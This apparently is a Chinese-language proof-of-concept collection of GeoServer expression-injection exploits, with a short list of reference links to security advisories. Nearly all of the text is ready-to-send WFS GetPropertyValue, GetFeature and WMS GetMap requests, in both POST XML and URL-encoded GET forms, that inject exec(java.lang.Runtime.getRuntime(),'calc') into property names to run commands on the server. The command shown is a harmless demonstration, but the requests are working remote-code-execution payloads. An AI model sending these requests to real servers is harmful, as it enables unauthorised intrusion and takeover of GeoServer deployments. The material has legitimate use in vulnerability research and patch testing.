<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'
valueReference='exec(java.lang.Runtime.getRuntime(),"calc")'>
<wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>
POC集合
WFS GetPropertyValue
POST:
<wfs:GetFeature service="WFS" version="1.1.0"
xmlns:topp="http://www.openplans.org/topp"
xmlns:wfs="http://www.opengis.net/wfs"
xmlns="http://www.opengis.net/ogc"
xmlns:gml="http://www.opengis.net/gml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.opengis.net/wfs">
<wfs:Query typeName="topp:states">
<Filter>
<Intersects>
<PropertyName>exec(java.lang.Runtime.getRuntime(),"calc")</PropertyName>
</Intersects>
</Filter>
</wfs:Query>
</wfs:GetFeature>
GET:
/geoserver/wfs?request=GetPropertyValue&service=wfs&typeNames=topp:states&valueReference=exec%28java.lang.Runtime.getRuntime%28%29%2C%22calc%22%29&version=2.0.0
WFS GetFeature
BBOX-1.0
post:
<wfs:GetFeature service="WFS" version="1.0.0"
xmlns:topp="http://www.openplans.org/topp"
xmlns:wfs="http://www.opengis.net/wfs"
xmlns:ogc="http://www.opengis.net/ogc"
xmlns:gml="http://www.opengis.net/gml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.opengis.net/wfs">
<wfs:Query typeName="topp:states">
<ogc:Filter>
<ogc:BBOX>
<ogc:PropertyName>exec(java.lang.Runtime.getRuntime(),"calc")</ogc:PropertyName>
<gml:Box srsName="http://www.opengis.net/gml/srs/epsg.xml#4326">
<gml:coordinates>-75.102613,40.212597 -72.361859,41.512517</gml:coordinates>
</gml:Box>
</ogc:BBOX>
</ogc:Filter>
</wfs:Query>
</wfs:GetFeature>
BBOX-1.1
post:
<wfs:GetFeature service="WFS" version="1.1.0"
xmlns:topp="http://www.openplans.org/topp"
xmlns:wfs="http://www.opengis.net/wfs"
xmlns:ogc="http://www.opengis.net/ogc"
xmlns:gml="http://www.opengis.net/gml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.opengis.net/wfs">
<wfs:Query typeName="topp:states">
<ogc:Filter>
<ogc:BBOX>
<ogc:PropertyName>exec(java.lang.Runtime.getRuntime(),"calc")</ogc:PropertyName>
<gml:Envelope srsName="http://www.opengis.net/gml/srs/epsg.xml#4326">
<gml:lowerCorner>-75.102613 40.212597</gml:lowerCorner>
<gml:upperCorner>-72.361859 41.512517</gml:upperCorner>
</gml:Envelope>
</ogc:BBOX>
</ogc:Filter>
</wfs:Query>
</wfs:GetFeature>
Between-1.0/1.1
<wfs:GetFeature service="WFS" version="1.0.0"
xmlns:topp="http://www.openplans.org/topp"
xmlns:wfs="http://www.opengis.net/wfs"
xmlns:ogc="http://www.opengis.net/ogc"
xmlns:gml="http://www.opengis.net/gml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.opengis.net/wfs">
<wfs:Query typeName="topp:states">
<ogc:Filter>
<ogc:PropertyIsBetween>
<ogc:PropertyName>exec(java.lang.Runtime.getRuntime(),"calc")</ogc:PropertyName>
<ogc:LowerBoundary><ogc:Literal>100000</ogc:Literal></ogc:LowerBoundary>
<ogc:UpperBoundary><ogc:Literal>150000</ogc:Literal></ogc:UpperBoundary>
</ogc:PropertyIsBetween>
</ogc:Filter>
</wfs:Query>
</wfs:GetFeature>
GET:
/geoserver/wfs?request=GetFeature&version=1.1.0&typeName=topp:states&propertyName=STATE_NAME,LAND_KM,the_geom&outputFormat=GML2&FILTER=%3CFilter+xmlns%3D%22http%3A%2F%2Fwww.opengis.net%2Fogc%22%3E%3CPropertyIsBetween%3E%3CPropertyName%3Eexec%28java.lang.Runtime.getRuntime%28%29%2C%22calc%22%29%3C%2FPropertyName%3E%3CLowerBoundary%3E%3CLiteral%3E100000%3C%2FLiteral%3E%3C%2FLowerBoundary%3E%3CUpperBoundary%3E%3CLiteral%3E150000%3C%2FLiteral%3E%3C%2FUpperBoundary%3E%3C%2FPropertyIsBetween%3E%3C%2FFilter%3E
Intersects-1.0/1.1
POST:
<wfs:GetFeature service="WFS" version="1.0.0"
xmlns:topp="http://www.openplans.org/topp"
xmlns:wfs="http://www.opengis.net/wfs"
xmlns="http://www.opengis.net/ogc"
xmlns:gml="http://www.opengis.net/gml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.opengis.net/wfs">
<wfs:Query typeName="topp:states">
<Filter>
<Intersects>
<PropertyName>exec(java.lang.Runtime.getRuntime(),"calc")</PropertyName>
</Intersects>
</Filter>
</wfs:Query>
</wfs:GetFeature>
GET:
/geoserver/wfs?request=GetFeature&version=1.0.0&typeName=topp:states&FILTER=%3CFilter+xmlns%3D%22http%3A%2F%2Fwww.opengis.net%2Fogc%22+xmlns%3Agml%3D%22http%3A%2F%2Fwww.opengis.net%2Fgml%22%3E%3CIntersects%3E%3CPropertyName%3Eexec%28java.lang.Runtime.getRuntime%28%29%2C%22calc%22%29%3C%2FPropertyName%3E%3Cgml%3APoint+srsName%3D%22EPSG%3A4326%22%3E%3Cgml%3Acoordinates%3E-74.817265%2C40.5296504%3C%2Fgml%3Acoordinates%3E%3C%2Fgml%3APoint%3E%3C%2FIntersects%3E%3C%2FFilter%3E
NotDisjoint
POST:
<wfs:GetFeature service="WFS" version="2.0.0"
xmlns:wfs="http://www.opengis.net/wfs/2.0" xmlns:fes="http://www.opengis.net/fes/2.0"
xmlns:gml="http://www.opengis.net/gml/3.2" xmlns:sf="http://www.openplans.org/spearfish"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.opengis.net/wfs/2.0 http://schemas.opengis.net/wfs/2.0/wfs.xsd
http://www.opengis.net/gml/3.2 http://schemas.opengis.net/gml/3.2.1/gml.xsd">
<wfs:Query typeNames="sf:bugsites">
<fes:Filter>
<fes:Not>
<fes:Disjoint>
<fes:ValueReference>exec(java.lang.Runtime.getRuntime(),"calc")</fes:ValueReference>
</fes:Disjoint>
</fes:Not>
</fes:Filter>
</wfs:Query>
</wfs:GetFeature>
GET:
/geoserver/wfs?service=WFS&version=2.0.0&request=GetFeature&typenames=sf:bugsites&filter=%3Cfes%3AFilter+xmlns%3Afes%3D%22http%3A%2F%2Fwww.opengis.net%2Ffes%2F2.0%22+xmlns%3Agml%3D%22http%3A%2F%2Fwww.opengis.net%2Fgml%2F3.2%22%3E%3Cfes%3ANot%3E%3Cfes%3ADisjoint%3E%3Cfes%3AValueReference%3Eexec%28java.lang.Runtime.getRuntime%28%29%2C%22calc%22%29%3C%2Ffes%3AValueReference%3E%3Cgml%3APolygon+gml%3Aid%3D%27polygon.1%27+srsName%3D%27http%3A%2F%2Fwww.opengis.net%2Fdef%2Fcrs%2FEPSG%2F0%2F26713%27%3E%3Cgml%3Aexterior%3E%3Cgml%3ALinearRing%3E%3Cgml%3AposList%3E590431+4915204+590430+4915205+590429+4915204+590430+4915203+590431+4915204%3C%2Fgml%3AposList%3E%3C%2Fgml%3ALinearRing%3E%3C%2Fgml%3Aexterior%3E%3C%2Fgml%3APolygon%3E%3C%2Ffes%3ADisjoint%3E%3C%2Ffes%3ANot%3E%3C%2Ffes%3AFilter%3E
Math
POST:
<wfs:GetFeature service="WFS" version="1.0.0"
xmlns:topp="http://www.openplans.org/topp"
xmlns:wfs="http://www.opengis.net/wfs"
xmlns:ogc="http://www.opengis.net/ogc"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.opengis.net/wfs">
<wfs:Query typeName="topp:states">
<ogc:Filter>
<ogc:PropertyIsGreaterThan>
<ogc:Div>
<ogc:PropertyName>exec(java.lang.Runtime.getRuntime(),"calc")</ogc:PropertyName>
<ogc:PropertyName>xxx</ogc:PropertyName>
</ogc:Div>
<ogc:Literal>0.25</ogc:Literal>
</ogc:PropertyIsGreaterThan>
</ogc:Filter>
</wfs:Query>
</wfs:GetFeature>
GET:
/geoserver/wfs?request=GetFeature&version=1.1.0&typeName=topp:states&formatName=GML2&FILTER=%3Cogc:Filter%20xmlns:ogc=%22http://www.opengis.net/ogc%22%3E%3Cogc:PropertyIsGreaterThan%3E%3Cogc:Div%3E%3Cogc:PropertyName%3EMANUAL%3C/ogc:PropertyName%3E%3Cogc:PropertyName%3Eexec%28java.lang.Runtime.getRuntime%28%29%2C%22calc%22%29%3C/ogc:PropertyName%3E%3C/ogc:Div%3E%3Cogc:Literal%3E0.25%3C/ogc:Literal%3E%3C/ogc:PropertyIsGreaterThan%3E%3C/ogc:Filter%3E
WMS getMap
GET /geoserver/wms?version=1.3.0&bbox=24,-130,50,-66&Format=image/png&request=GetMap&width=550&height=250&crs=EPSG:4326&SLD_BODY=%3CStyledLayerDescriptor+version%3D%221.1.0%22%3E%3CUserLayer%3E%3CName%3Etopp%3Astates%3C%2FName%3E%3CUserStyle%3E%3CName%3EUserSelection%3C%2FName%3E%3CFeatureTypeStyle%3E%3CRule%3E%3CFilter%3E%3CPropertyIsEqualTo%3E%3CPropertyName%3Eexec%28java.lang.Runtime.getRuntime%28%29%2C%22calc%22%29%3C%2FPropertyName%3E%3CLiteral%3EIllinois%3C%2FLiteral%3E%3C%2FPropertyIsEqualTo%3E%3C%2FFilter%3E%3CPolygonSymbolizer%3E%3CFill%3E%3CSvgParameter+name%3D%22fill%22%3E%23FF0000%3C%2FSvgParameter%3E%3C%2FFill%3E%3C%2FPolygonSymbolizer%3E%3C%2FRule%3E%3CRule%3E%3CLineSymbolizer%3E%3CStroke%2F%3E%3C%2FLineSymbolizer%3E%3C%2FRule%3E%3C%2FFeatureTypeStyle%3E%3C%2FUserStyle%3E%3C%2FUserLayer%3E%3C%2FStyledLayerDescriptor%3E HTTP/1.1
Host: 127.0.0.1:8085
<?xml version="1.0" encoding="UTF-8"?>
<ogc:GetMap xmlns:ogc="http://www.opengis.net/ows"
xmlns:gml="http://www.opengis.net/gml"
version="1.2.0"
service="WMS">
<StyledLayerDescriptor version="1.0.0"
xsi:schemaLocation="http://www.opengis.net/sld StyledLayerDescriptor.xsd"
xmlns="http://www.opengis.net/sld"
xmlns:ogc="http://www.opengis.net/ogc"
xmlns:xlink="http://www.w3.org/1999/xlink"
xmlns:dave="http://blasby.com"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<UserLayer>
<Name>Inline</Name>
<InlineFeature>
<FeatureCollection>
<featureMember>
<BodyPart>
<Type>Mouth</Type>
<polygonProperty>
<gml:Polygon>
<gml:outerBoundaryIs>
<gml:LinearRing>
<gml:coordinates>
397,226 396,209 396,196 390,185 384,175 368,163 353,155 331,150 308,149 283,148 261,153 231,163
209,175 195,189 186,209 182,221 187,226 193,214 195,205 200,197 203,192 215,185 226,177 241,171
256,167 266,163 281,161 297,161 321,160 341,160 359,168 371,175 382,185 388,197 390,215 390,225
394,226 397,226
</gml:coordinates>
</gml:LinearRing>
</gml:outerBoundaryIs>
</gml:Polygon>
</polygonProperty>
</BodyPart>
</featureMember>
</FeatureCollection>
</InlineFeature>
<UserStyle>
<FeatureTypeStyle>
<Rule>
<Filter>
<Or>
<PropertyIsEqualTo>
<PropertyName>exec(java.lang.Runtime.getRuntime(),"calc")</PropertyName>
<Literal>Eye</Literal>
</PropertyIsEqualTo>
</Or>
</Filter>
<PolygonSymbolizer>
<Fill>
<CssParameter name="fill">
<ogc:Literal>#DD06E0</ogc:Literal>
</CssParameter>
<CssParameter name="fill-opacity">
<ogc:Literal>1.0</ogc:Literal>
</CssParameter>
</Fill>
<Stroke>
<CssParameter name="stroke">
<ogc:Literal>#FF00FF</ogc:Literal>
</CssParameter>
</Stroke>
</PolygonSymbolizer>
</Rule>
</FeatureTypeStyle>
</UserStyle>
</UserLayer>
</StyledLayerDescriptor>
<BoundingBox>
<gml:coord>
<gml:X>0</gml:X>
<gml:Y>0</gml:Y>
</gml:coord>
<gml:coord>
<gml:X>500</gml:X>
<gml:Y>500</gml:Y>
</gml:coord>
</BoundingBox>
<Output>
<Format>image/jpeg</Format>
<Transparent>false</Transparent>
<Size>
<Width>501</Width>
<Height>501</Height>
</Size>
</Output>
</ogc:GetMap>
WPS Execute
需要安装,不做复现
参考链接
https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv
https://github.com/geotools/geotools/security/advisories/GHSA-w3pj-wh35-fq8w
https://www.osgeo.cn/geoserver-user-manual/services/
https://blog.csdn.net/qiang89/article/details/123898353
没有评论